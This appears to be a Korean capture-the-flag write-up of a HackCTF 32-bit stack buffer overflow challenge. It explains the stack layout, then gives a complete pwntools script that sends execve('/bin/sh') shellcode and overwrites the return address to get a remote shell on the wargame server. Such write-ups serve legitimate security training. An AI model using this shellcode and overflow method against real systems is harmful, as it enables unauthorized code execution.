문제파일 실행시, 데이터를 입력받고, 버퍼의 주소를 알려준다.
계속할수있고, n 을 누르면 종료한다.
ida 로 열어보면,
buffer : [rbp-0x88] 이란 걸 알 수 있다.
버퍼의 주소도 알려주니, 저번처럼 쉘코드 작성 후 ,
ret address 에 buffer 의 주소를 넣으면 된다.
메모리보호기법이 설정되어있지 않으니,
ret address 를 덮어쓸 수 있다.
하지만, main함수를 분석하다보면,
[ebp-8] 값이 입력한 문자열의 길이보다 작을때 buf 의 주소를 출력해준다.
쉘코드+DUMMY+buffer address 형식으로 payload 를 작성하면,
[ebp-8] 에도 DUMMY 값이 들어가게된다.
DUMMY 를 a 로 채운다면,
[ebp-8] : 0x61616161 이 들어가서
buffer 의 주소를 출력하지않고, Again (y/n) 로 넘어가게된다.
그러므로 [ebp-8] 의 값을 0x00000000 으로 조작해야된다.
그리고 문제점 하나 더, data 를 입력받은후, buffer 의 주소를 출력해주기때문에,
먼저 아무거나 입력한 후에 buf 의 주소를 받아온다음
payload 를 전송해야한다.
(buffer 의 주소는 변하지 않는다)
[ 쉘코드 ]
32bit 파일이니, 32bit 쉘코드를 가져오자.
2020/03/21 - [Wargame Write-Up/HackCTF] - [HackCTF} (Pwnable) x64 Simple_size_BOF 풀이
저번블로그에 쉘코드가 정리된 블로그를 올려놨으니, 참고하면되겠다. ( 32/64 bit 쉘코드 다 있다. )
[ payload ]
payload = 쉘코드(0x19byte) 0x67byte + 0x0 (4byte [ebp-8]) + 4byte (ebp-4) + 4byte (ebp) + buf address
[ python ]
from pwn import *
r=remote('ctf.j0n9hyun.xyz',3006)
r.recvuntil(" : ")
r.sendline('hello')
bufaddress=int(r.recv(10),16)
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
payload=""
payload+=shellcode
payload+='a'*0x67
payload+=p32(0x0)
payload+='b'*8
payload+=p32(bufaddress)
r.sendline('y')
r.sendline(payload)
r.interactive()
cat flag!